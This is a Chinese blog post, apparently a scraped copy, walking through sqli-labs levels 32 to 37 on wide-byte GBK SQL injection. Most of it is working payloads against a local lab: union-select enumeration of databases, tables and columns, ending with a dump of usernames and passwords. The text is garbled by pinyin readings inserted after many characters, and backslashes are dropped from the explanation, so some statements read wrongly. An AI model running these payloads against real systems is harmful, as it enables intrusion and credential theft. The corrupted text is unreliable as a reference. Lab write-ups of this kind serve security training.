當(dāng)前位置:首頁(yè) > IT技術(shù) > 數(shù)據(jù)庫(kù) > 正文

sqli-labs(32-37)
2021-10-04 11:47:06

這六關(guān)都是關(guān)于寬字節(jié)注入的,分為GET/POST型,其實(shí)都一樣,只不過(guò)POST要用一下burp

原理

mysql在使用GBK編碼的時(shí)候,會(huì)認(rèn)為兩個(gè)字符為一個(gè)漢字,例如%aa%5c就是一個(gè)漢字(前一個(gè)ascii碼大于128才能到漢字的范圍)。我們?cè)谶^(guò)濾 ' 的時(shí)候,往往利用的思路是將 ' 轉(zhuǎn)換為 ' (轉(zhuǎn)換的函數(shù)可以自定義,也可以用PHP自帶函數(shù))。

因此我們?cè)诖讼朕k法將 ' 前面添加的除掉,一般有兩種思路:

1.%df吃掉具體的原因是urlencode(') = %5c%27,我們?cè)?5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK編碼方式的時(shí)候會(huì)將兩個(gè)字節(jié)當(dāng)做一個(gè)漢字,此時(shí)%df%5c就是一個(gè)漢字,%27則作為一個(gè)單獨(dú)的符號(hào)在外面,同時(shí)也就達(dá)到了我們的目的。

2.將'中的過(guò)濾掉,例如可以構(gòu)造 %**%5c%5c%27的情況,后面的%5c會(huì)被前面的%5c給注釋掉。這也是bypass的一種方法。

less-32

http://127.0.0.1/sqli-labs/Less-32/?id=-1%E6' union select 1,2,database() --+

?

less-33

http://127.0.0.1/sqli-labs/Less-33/?id=-1%E6' union select 1,2,database() --+

?

less-34

1、先判斷閉合方式

(1)、輸入uname=admin'&passwd=123456&submit=Submit

?

?

發(fā)現(xiàn)后臺(tái)為單引號(hào)加了一個(gè)反斜杠來(lái)轉(zhuǎn)義單引號(hào)。

(2)輸入?uname=admin%aa'&passwd=123456&submit=Submit

?

?

?根據(jù)錯(cuò)誤回顯和提示,可以判斷閉合方式,并且構(gòu)造出閉合語(yǔ)句uname=111%aa'#&passwd=111&submit=Submit

2、判斷列數(shù)

(1)輸入uname=admin%aa' order by 2#&passwd=aaaaaa&submit=Submit

?

?

?正常顯示。

(2)輸入uname=admin%aa' order by 3#&passwd=aaaaaa&submit=Submit

?

?

?報(bào)錯(cuò),所以列數(shù)為兩列?

3、爆破

(1)查看顯示位

uname=admin%aa' union select 1,2#&passwd=aaaaaa&submit=Submit

?

?

?

?(2)爆庫(kù)

uname=admin%aa' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=aaaaaa&submit=Submit

?

?

?(3)爆表

uname=admin%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=aaaaaa&submit=Submit

?

?

(4)爆列

因?yàn)楹笈_(tái)代碼會(huì)轉(zhuǎn)義單引號(hào),所以在爆列語(yǔ)句中使用十六進(jìn)制來(lái)表示表名

users的十六進(jìn)制:0x7573657273?  security的十六進(jìn)制:0x7365637572697479

?

?(5)爆數(shù)據(jù)

uname=admin%aa' union select group_concat(username),group_concat(password) from users#&passwd=aaaaaa&submit=Submit

?

?

?less-35

http://127.0.0.1/sqli-labs/Less-35/?id=-1 union select 1,version(),database()--+

?

?

?less-36

http://127.0.0.1/sqli-labs/Less-36/?id=-1%E6' union select 1,2,database()--+

?

?

?less-37

和34關(guān)一樣,不再贅述

?

本文摘自 :https://www.cnblogs.com/

開(kāi)通會(huì)員,享受整站包年服務(wù)